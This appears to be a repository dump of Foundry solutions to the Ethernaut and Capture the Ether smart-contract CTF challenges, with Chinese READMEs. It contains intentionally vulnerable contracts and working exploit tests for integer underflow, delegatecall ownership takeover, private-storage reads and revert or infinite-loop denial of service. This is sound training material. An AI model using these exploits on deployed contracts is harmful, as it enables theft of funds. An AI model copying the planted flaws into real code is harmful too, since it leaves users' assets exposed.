/src/Ethernaut/Token/README.md: -------------------------------------------------------------------------------- 1 | ## Token 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x478f3476358Eb166Cb7adE4666d04fbdDB56C407) 6 | 7 | 这一关的目标是攻破这个基础 token 合约 8 | 9 | 你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Token -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | uint变量一定是大于0的;而且在0.8.0之前版本的solidity是没有内置safemath的,所以 `0 - 1` 会变成 `0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`那莫大。 24 | 25 | 所以我们只需要给其他人转21个代币,然后我们账户的余额就会下溢出。 -------------------------------------------------------------------------------- /src/Ethernaut/Fallout/FalloutFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "../base/Level-06.sol"; 6 | import "./Fallout.sol"; 7 | 8 | contract FalloutFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Fallout instance = new Fallout(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 16 | Fallout instance = Fallout(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Hello_Ethernaut/InstanceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Instance.sol"; 7 | 8 | contract InstanceFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | return address(new Instance('ethernaut0')); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | _player; 16 | Instance instance = Instance(_instance); 17 | return instance.getCleared(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/King/King.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract King { 5 | address king; 6 | uint256 public prize; 7 | address public owner; 8 | 9 | constructor() payable { 10 | owner = msg.sender; 11 | king = msg.sender; 12 | prize = msg.value; 13 | } 14 | 15 | receive() external payable { 16 | require(msg.value >= prize || msg.sender == owner); 17 | payable(king).transfer(msg.value); 18 | king = msg.sender; 19 | prize = msg.value; 20 | } 21 | 22 | function _king() public view returns (address) { 23 | return king; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/Ethernaut/Telephone/TelephoneFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Telephone.sol"; 7 | 8 | contract TelephoneFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Telephone instance = new Telephone(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | Telephone instance = Telephone(_instance); 17 | return instance.owner() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Privacy/Privacy.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PrivacyFactory.sol"; 6 | 7 | contract PrivacyTest is Test { 8 | PrivacyFactory factory; 9 | 10 | function setUp() public { 11 | factory = new PrivacyFactory(); 12 | } 13 | 14 | function testPrivacy() public { 15 | address privacy = factory.createInstance(address(this)); 16 | 17 | bytes32 key = vm.load(privacy, bytes32(uint256(5))); 18 | 19 | Privacy(privacy).unlock(bytes16(key)); 20 | 21 | assertTrue(factory.validateInstance(payable(address(privacy)), address(this))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/Ethernaut/Delegation/Delegation.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DelegationFactory.sol"; 6 | 7 | contract DelegationTest is Test { 8 | DelegationFactory factory; 9 | 10 | function setUp() public { 11 | factory = new DelegationFactory(); 12 | } 13 | 14 | function testDelegation() public { 15 | address delegation = factory.createInstance(address(this)); 16 | 17 | Delegate(delegation).pwn(); 18 | assertEq(Delegation(delegation).owner(), address(this)); 19 | 20 | assertTrue(factory.validateInstance(payable(address(delegation)), address(this))); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallback/FallbackFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Fallback.sol"; 7 | 8 | contract FallbackFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | Fallback instance = new Fallback(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | Fallback instance = Fallback(_instance); 17 | return instance.owner() == _player && address(instance).balance == 0; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Vault/VaultFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./Vault.sol"; 7 | 8 | contract VaultFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | bytes32 password = "A very strong secret password :)"; 12 | Vault instance = new Vault(password); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address) public view override returns (bool) { 17 | Vault instance = Vault(_instance); 18 | return !instance.locked(); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallout/README.md: -------------------------------------------------------------------------------- 1 | # Fallout 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://ethernaut.openzeppelin.com/level/0x676e57FdBbd8e5fE1A7A3f4Bb1296dAC880aa639) 6 | 7 | 获得以下合约的所有权来完成这一关. 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Fallout -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 此合约版本为0.6.0。此时合约的构造函数为合约的同名函数。最新版本0.8.0中,已使用constructor函数代替同名函数作为构造函数。 22 | 23 | 此合约的构造函数写错了,Fal1out != Fallout 。即合约部署后,并没有初始化owner。 24 | 25 | 所以只需要调用 Fal1out函数即得到owner权限。 26 | 27 | ```solidity 28 | Fallout(fallout).Fal1out(); 29 | assertEq(Fallout(fallout).owner(), address(this)); 30 | ``` 31 | 32 | 提交合约实例,完成目标。 -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_One/GatekeeperOneFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./GatekeeperOne.sol"; 7 | 8 | contract GatekeeperOneFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | GatekeeperOne instance = new GatekeeperOne(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | GatekeeperOne instance = GatekeeperOne(_instance); 17 | return instance.entrant() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Two/GatekeeperTwoFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./GatekeeperTwo.sol"; 7 | 8 | contract GatekeeperTwoFactory is Level { 9 | function createInstance(address _player) public payable override returns (address) { 10 | _player; 11 | GatekeeperTwo instance = new GatekeeperTwo(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 16 | GatekeeperTwo instance = GatekeeperTwo(_instance); 17 | return instance.entrant() == _player; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/Ethernaut/Good_Samaritan/GoodSamaritanFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../base/Level-08.sol"; 5 | import "./GoodSamaritan.sol"; 6 | 7 | contract GoodSamaritanFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | return address(new GoodSamaritan()); 11 | } 12 | 13 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 14 | _player; 15 | GoodSamaritan instance = GoodSamaritan(_instance); 16 | return instance.coin().balances(address(instance.wallet())) == 0; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = './src' 3 | out = 'out' 4 | libs = ['lib'] 5 | ffi = true 6 | remappings = [ 7 | "forge-std/=lib/forge-std/src/", 8 | "foundry-huff/=lib/foundry-huff/src/", 9 | "@openzeppelin/=lib/openzeppelin-contracts-08/", 10 | "openzeppelin-contracts-05/=lib/openzeppelin-contracts-05/contracts/", 11 | "openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/", 12 | "openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/" 13 | ] 14 | 15 | # See more config options https://github.com/foundry-rs/foundry/tree/master/config 16 | 17 | [rpc_endpoints] 18 | goerli = "${RPC_URL}" 19 | 20 | [etherscan] 21 | goerli = { key = "${ETHERSCAN_API_KEY}" } 22 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Three/GatekeeperThreeFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "../base/Level.sol"; 5 | import "./GatekeeperThree.sol"; 6 | 7 | contract GatekeeperThreeFactory is Level { 8 | function createInstance(address _player) public payable override returns (address) { 9 | _player; 10 | GatekeeperThree instance = new GatekeeperThree(); 11 | return payable(instance); 12 | } 13 | 14 | function validateInstance(address payable _instance, address _player) public view override returns (bool) { 15 | GatekeeperThree instance = GatekeeperThree(_instance); 16 | return instance.entrant() == _player; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Two/README.md: -------------------------------------------------------------------------------- 1 | # Gatekeeper Two 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x0C791D1923c738AC8c4ACFD0A60382eE5FF08a23) 6 | 7 | Gatekeeper Two,我是你的破壁人。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Gatekeeper_Two -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | - 对于gateOne,使用合约进行调用。 22 | 23 | - 对于gateTwo,在合约在执行构造函数constructor时,此时合约的 size == 0; 24 | 25 | - 对于gateThree,只需要进行一次逆运算即可算出_gateKey。 26 | 27 | ```solidity 28 | uint64 _gateKey = type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))); 29 | ``` 30 | 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Denial/Denial.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./DenialFactory.sol"; 6 | 7 | contract DenialTest is Test { 8 | DenialFactory factory; 9 | 10 | function setUp() public { 11 | factory = new DenialFactory(); 12 | } 13 | 14 | function testDenial() public { 15 | address payable instance = payable(factory.createInstance{value: 0.001 ether}(address(this))); 16 | 17 | Denial(instance).setWithdrawPartner(address(this)); 18 | 19 | assertTrue(factory.validateInstance(instance, address(this))); 20 | } 21 | 22 | receive() external payable { 23 | while (true) {} 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/Ethernaut/Token/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.6.0; 3 | 4 | contract Token { 5 | mapping(address => uint256) balances; 6 | uint256 public totalSupply; 7 | 8 | constructor(uint256 _initialSupply) public { 9 | balances[msg.sender] = totalSupply = _initialSupply; 10 | } 11 | 12 | function transfer(address _to, uint256 _value) public returns (bool) { 13 | require(balances[msg.sender] - _value >= 0); 14 | balances[msg.sender] -= _value; 15 | balances[_to] += _value; 16 | return true; 17 | } 18 | 19 | function balanceOf(address _owner) public view returns (uint256 balance) { 20 | return balances[_owner]; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_new_number/GuessTheNewNumberChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract GuessTheNewNumberChallenge { 5 | constructor() payable { 6 | require(msg.value == 1 ether); 7 | } 8 | 9 | function isComplete() public view returns (bool) { 10 | return address(this).balance == 0; 11 | } 12 | 13 | function guess(uint8 n) public payable { 14 | require(msg.value == 1 ether); 15 | uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))); 16 | 17 | if (n == answer) { 18 | payable(msg.sender).transfer(2 ether); 19 | } 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/Ethernaut/Delegation/Delegation.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Delegate { 5 | address public owner; 6 | 7 | constructor(address _owner) { 8 | owner = _owner; 9 | } 10 | 11 | function pwn() public { 12 | owner = msg.sender; 13 | } 14 | } 15 | 16 | contract Delegation { 17 | address public owner; 18 | Delegate delegate; 19 | 20 | constructor(address _delegateAddress) { 21 | delegate = Delegate(_delegateAddress); 22 | owner = msg.sender; 23 | } 24 | 25 | fallback() external { 26 | (bool result,) = address(delegate).delegatecall(msg.data); 27 | if (result) { 28 | this; 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/Ethernaut/Token/TokenFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.6.0; 4 | 5 | import "../base/Level-06.sol"; 6 | import "./Token.sol"; 7 | 8 | contract TokenFactory is Level { 9 | uint256 supply = 21000000; 10 | uint256 playerSupply = 20; 11 | 12 | function createInstance(address _player) public payable override returns (address) { 13 | Token token = new Token(supply); 14 | token.transfer(_player, playerSupply); 15 | return address(token); 16 | } 17 | 18 | function validateInstance(address payable _instance, address _player) public override returns (bool) { 19 | Token token = Token(_instance); 20 | return token.balanceOf(_player) > playerSupply; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_secret_number/GuessTheSecretNumberChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract GuessTheSecretNumberChallenge { 5 | bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365; 6 | 7 | constructor() payable { 8 | require(msg.value == 1 ether); 9 | } 10 | 11 | function isComplete() public view returns (bool) { 12 | return address(this).balance == 0; 13 | } 14 | 15 | function guess(uint8 n) public payable { 16 | require(msg.value == 1 ether); 17 | 18 | if (keccak256(abi.encodePacked(n)) == answerHash) { 19 | payable(msg.sender).transfer(2 ether); 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_random_number/GuessTheRandomNumberChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract GuessTheRandomNumberChallenge { 5 | uint8 answer; 6 | 7 | constructor() payable { 8 | require(msg.value == 1 ether); 9 | answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))); 10 | } 11 | 12 | function isComplete() public view returns (bool) { 13 | return address(this).balance == 0; 14 | } 15 | 16 | function guess(uint8 n) public payable { 17 | require(msg.value == 1 ether); 18 | 19 | if (n == answer) { 20 | payable(msg.sender).transfer(2 ether); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/Ethernaut/Telephone/Telephone.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./TelephoneFactory.sol"; 6 | 7 | contract TelephoneTest is Test { 8 | TelephoneFactory factory; 9 | 10 | function setUp() public { 11 | factory = new TelephoneFactory(); 12 | } 13 | 14 | function testTelephone() public { 15 | address telephone = factory.createInstance(address(this)); 16 | 17 | // vm.prank(vm.addr(uint256(keccak256("msg.sender"))), vm.addr(uint256(keccak256("tx.origin")))); 18 | 19 | Telephone(telephone).changeOwner(address(this)); 20 | 21 | assertTrue(factory.validateInstance(payable(address(telephone)), address(this))); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallout/Fallout.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.6.0; 3 | // https://github.com/foundry-rs/foundry/issues/4376 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "forge-std/Test.sol"; 7 | import "./FalloutFactory.sol"; 8 | 9 | contract FalloutTest is Test { 10 | FalloutFactory factory; 11 | 12 | function setUp() public { 13 | factory = new FalloutFactory(); 14 | } 15 | 16 | function testFallout() public { 17 | address fallout = factory.createInstance(address(this)); 18 | 19 | Fallout(fallout).Fal1out(); 20 | assertEq(Fallout(fallout).owner(), address(this)); 21 | 22 | assertTrue(factory.validateInstance(payable(address(fallout)), address(this))); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/Ethernaut/Token/Token.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.6.0; 3 | pragma experimental ABIEncoderV2; 4 | 5 | import "forge-std/Test.sol"; 6 | import "./TokenFactory.sol"; 7 | 8 | contract TokenTest is Test { 9 | TokenFactory factory; 10 | 11 | function setUp() public { 12 | factory = new TokenFactory(); 13 | } 14 | 15 | function testTransfer() public { 16 | address token = factory.createInstance(address(this)); 17 | 18 | // any address other than this contract address 19 | address anyone = vm.addr(uint256(keccak256("anyone"))); 20 | Token(token).transfer(anyone, 21); 21 | 22 | assertTrue(factory.validateInstance(payable(address(token)), address(this))); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/openzeppelin-contracts-05"] 5 | path = lib/openzeppelin-contracts-05 6 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 7 | branch = release-v2.5.0 8 | [submodule "lib/openzeppelin-contracts-06"] 9 | path = lib/openzeppelin-contracts-06 10 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 11 | branch = release-v3.3 12 | [submodule "lib/openzeppelin-contracts-08"] 13 | path = lib/openzeppelin-contracts-08 14 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 15 | branch = release-v4.9 16 | [submodule "lib/foundry-huff"] 17 | path = lib/foundry-huff 18 | url = https://github.com/huff-language/foundry-huff -------------------------------------------------------------------------------- /src/Ethernaut/Alien_Codex/AlienCodex.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.5.0; 3 | 4 | import "openzeppelin-contracts-05/ownership/Ownable.sol"; 5 | 6 | contract AlienCodex is Ownable { 7 | bool public contact; 8 | bytes32[] public codex; 9 | 10 | modifier contacted() { 11 | assert(contact); 12 | _; 13 | } 14 | 15 | function make_contact() public { 16 | contact = true; 17 | } 18 | 19 | function record(bytes32 _content) public contacted { 20 | codex.push(_content); 21 | } 22 | 23 | function retract() public contacted { 24 | codex.length--; 25 | } 26 | 27 | function revise(uint256 i, bytes32 _content) public contacted { 28 | codex[i] = _content; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Warmup/Deploy_a_contract/DeployChallenge.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Script.sol"; 5 | import "./DeployChallenge.sol"; 6 | 7 | contract DeployChallengeScript is Script { 8 | function setUp() public {} 9 | 10 | function run() public { 11 | // 获取 environment variable 里面 PRIVATE_KEY 的值 12 | uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY"); 13 | // 使用 deployerPrivateKey 签署后续交易 14 | vm.startBroadcast(deployerPrivateKey); 15 | 16 | // 创建 DeployChallenge,如果 script 的 transactions 被发送到链上,则会在链上新建合约。 17 | new DeployChallenge(); 18 | 19 | // 停止使用 deployerPrivateKey。即后续的操作不在使用 deployerPrivateKey 签名。 20 | vm.stopBroadcast(); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Public_Key/pubkey/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "pubkey" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | tokio = { version = "1.27", default-features = false, features = [ 10 | "macros", 11 | "rt", 12 | "rt-multi-thread", 13 | ] } 14 | ethers = { version = "1.0", default-features = false } 15 | k256 = { version = "0.13", default-features = false, features = [ 16 | "ecdsa", 17 | "std", 18 | ] } 19 | generic-array = { version = "0.14", default-features = false } 20 | elliptic-curve = { version = "0.13", default-features = false } 21 | tiny-keccak = { version = "2.0", default-features = false } 22 | eyre = "0.6" 23 | hex = "0.4" 24 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Assume_ownership/README.md: -------------------------------------------------------------------------------- 1 | # Assume ownership 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/miscellaneous/assume-ownership/) 6 | 7 | 原题目要求 AssumeOwnershipChallenge 合约的 isComplete 变量设置成 true。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Miscellaneous/Assume_ownership -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 以前合约的构造函数的**函数名**使用**合约名**,但是这个设计有问题,会导致比如这个 Challenge 一样,如果构造函数不小心拼写错误,则成了所有人都可以调用的公开函数:`AssumeOwnershipChallenge`,`AssumeOwmershipChallenge()`。所以后来使用 constructor 关键字来申明构造函数来避免这个问题。 26 | 27 | 所以我们这里直接调用 `AssumeOwmershipChallenge` 来获取 owner 权限,并再调用 `authenticate()` 将 `isComplete` 设置为 true。 -------------------------------------------------------------------------------- /src/Ethernaut/King/King.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./KingFactory.sol"; 6 | 7 | contract KingTest is Test { 8 | KingFactory factory; 9 | 10 | function setUp() public { 11 | factory = new KingFactory(); 12 | } 13 | 14 | function testKing() public { 15 | address king = factory.createInstance{value: 0.001 ether}(address(this)); 16 | 17 | (bool success, bytes memory data) = king.call{value: 0.0011 ether}(""); 18 | if (!success) { 19 | revert(string(data)); 20 | } 21 | 22 | assertTrue(factory.validateInstance(payable(address(king)), address(this))); 23 | } 24 | 25 | receive() external payable { 26 | revert(); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/Ethernaut/MagicNumber/MagicNum.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract MagicNum { 5 | address public solver; 6 | 7 | constructor() {} 8 | 9 | function setSolver(address _solver) public { 10 | solver = _solver; 11 | } 12 | 13 | /* 14 | ____________/\\\_______/\\\\\\\\\_____ 15 | __________/\\\\\_____/\\\///////\\\___ 16 | ________/\\\/\\\____\///______\//\\\__ 17 | ______/\\\/\/\\\______________/\\\/___ 18 | ____/\\\/__\/\\\___________/\\\//_____ 19 | __/\\\\\\\\\\\\\\\\_____/\\\//________ 20 | _\///////////\\\//____/\\\/___________ 21 | ___________\/\\\_____/\\\\\\\\\\\\\\\_ 22 | ___________\///_____\///////////////__ 23 | */ 24 | } 25 | -------------------------------------------------------------------------------- /src/Ethernaut/Delegation/README.md: -------------------------------------------------------------------------------- 1 | # Delegation 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x73379d8B82Fda494ee59555f333DF7D44483fD58) 6 | 7 | 这一关的目标是获得创建实例的所有权. 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Delegation -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 创建的实例是Delegation。我们可以触发Delegation合约的fallback函数同时在msg.data中发送Delegate的pwn函数调用,已获得Delegation的owner权限。 22 | 23 | 对于Delegatecall的使用方法可以阅读[WTF Solidity极简入门: 23. Delegatecall](https://github.com/AmazingAng/WTF-Solidity/tree/main/23_Delegatecall) 24 | 25 | 另外,早期链上也有许多代理调用使用不当发生的攻击。[The Parity Wallet Hack Explained](https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/) 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: ci 2 | 3 | on: [push] 4 | 5 | jobs: 6 | tests: 7 | name: Forge Testing 8 | runs-on: ubuntu-latest 9 | steps: 10 | - uses: actions/checkout@v3 11 | with: 12 | submodules: recursive 13 | - uses: foundry-rs/foundry-toolchain@v1 14 | with: 15 | version: nightly 16 | - uses: huff-language/huff-toolchain@v2 17 | with: 18 | version: nightly 19 | - name: dependencies 20 | run: | 21 | wget https://github.com/ethereum/solidity/releases/download/v0.4.24/solc-static-linux 22 | cp ./solc-static-linux ~/.cargo/bin/solc 23 | chmod 744 ~/.cargo/bin/solc 24 | - name: tests 25 | run: | 26 | forge --version 27 | forge install 28 | forge test --ffi -vvvvv -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Account_Takeover/priv_key/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "priv_key" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | tokio = { version = "1.27", default-features = false, features = [ 10 | "macros", 11 | "rt", 12 | "rt-multi-thread", 13 | ] } 14 | ethers = { version = "1.0", default-features = false } 15 | k256 = { version = "0.13", default-features = false, features = [ 16 | "ecdsa", 17 | "std", 18 | ] } 19 | generic-array = { version = "0.14", default-features = false } 20 | elliptic-curve = { version = "0.13", default-features = false } 21 | tiny-keccak = { version = "2.0", default-features = false } 22 | eyre = "0.6" 23 | hex = "0.4" 24 | crypto-bigint = "0.5.1" 25 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Two/GatekeeperTwo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract GatekeeperTwo { 5 | address public entrant; 6 | 7 | modifier gateOne() { 8 | require(msg.sender != tx.origin); 9 | _; 10 | } 11 | 12 | modifier gateTwo() { 13 | uint256 x; 14 | assembly { 15 | x := extcodesize(caller()) 16 | } 17 | require(x == 0); 18 | _; 19 | } 20 | 21 | modifier gateThree(bytes8 _gateKey) { 22 | require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); 23 | _; 24 | } 25 | 26 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 27 | entrant = tx.origin; 28 | return true; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/Ethernaut/Shop/Shop.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | interface Buyer { 5 | function price() external view returns (uint256); 6 | } 7 | 8 | contract Shop { 9 | uint256 public price = 100; 10 | bool public isSold; 11 | 12 | function buy() public { 13 | Buyer _buyer = Buyer(msg.sender); 14 | 15 | if (_buyer.price() >= price && !isSold) { 16 | isSold = true; 17 | price = _buyer.price(); 18 | } 19 | } 20 | } 21 | 22 | contract Shop2 { 23 | uint256 public price = 100; 24 | bool public isSold; 25 | 26 | function buy() public { 27 | Buyer _buyer = Buyer(msg.sender); 28 | 29 | if (_buyer.price() >= price && !isSold) { 30 | price = _buyer.price(); 31 | isSold = true; 32 | } 33 | } 34 | } 35 | 